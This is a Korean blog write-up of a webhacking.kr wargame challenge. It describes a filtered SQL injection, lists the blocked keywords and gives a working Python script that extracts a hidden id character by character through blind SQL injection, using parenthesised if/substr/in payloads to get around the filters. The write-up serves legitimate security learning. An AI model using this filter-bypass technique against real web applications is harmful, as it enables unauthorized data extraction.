이번 문제는 기존의 생각을 뒤바꿔준 문제였다.
자세한 것은 문제를 풀며 알아가보자.
문제에 접근하면 다음과 같이 1 2 3이 있으며 1과 2를 누르면 해당 no에 해당하는 id 값이 출력된다.
이 때, 3을 클릭하면 [ no 3's id is password ] 이라는 문구와 함께 column은 id와 no라고 알려준다.
Injection이 가능한지는 다음과 같이 입력해서 알 수 있었다.
위의 입력을 통해 no=2일 때와 결과가 동일하게 나왔기 때문에 SQLi라는 것을 확인하고 진행하였다.
확인 결과 필터링이 굉장히 많았다. (필터링에 걸리면 Access Denied가 출력된다.)
내가 확인한 필터링만 해도 아래와 같다.
- %
- and, or, &&, ||
- select
- 공백
- union
가장 먼저 시도한 것은 no=3 and substr(id,1,1)='a' 이런 식이였는데 공백도 막히고 and도 막혔는데 거기에 %까지 막혀버리니;;
그래도 띄어쓰기는 괄호를 이용하여 우회할 수 있었는데 '내가 원하는 no가 3일 때의 id를 어떻게 조회를 할 수 있는가'의 개념에서 막혔다.
그래서 이에 대한 삽질의 결과가 아래 포스팅에 담겨있다.
https://rootable.tistory.com/entry/SQL-Injection-and-filter-bypass
이를 통해 no가 3일 때의 id 값에 대해 조회를 할 수 있었고 이를 기반으로 아래 파이썬 코드를 통해 패스워드를 획득할 수 있었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests def calc_len(url): for i in range(1,20): param='if((length(id))in('+str(i)+'),3,9)' req=requests.get(url+param) if('Secret' in req.text): print("[+]Find length : "+str(i)) return i def find_id(url,length): id='' for i in range(1,length+1): for j in range(97,123): param="if((substr(id,"+str(i)+",1))in('"+chr(j)+"'),3,9)" print(param) req=requests.get(url+param) if('Secret' in req.text): print("[+]Find "+str(i)+"'s id : "+chr(j)) id+=chr(j) break return id url="https://webhacking.kr/challenge/web-09/?no=" length = calc_len(url) id=find_id(url,length) print("solve id : "+id) | cs |
'Solve Problem > Webhacking.kr' 카테고리의 다른 글
webhacking.kr old-60 writeup (0) | 2020.04.13 |
---|---|
[Webhacking.kr] old-47 (0) | 2020.04.10 |
4번 문제 (0) | 2020.04.01 |
[webhacking.kr] 19번 문제 (0) | 2018.03.17 |
[webhacking.kr] 20번 문제 (0) | 2018.03.09 |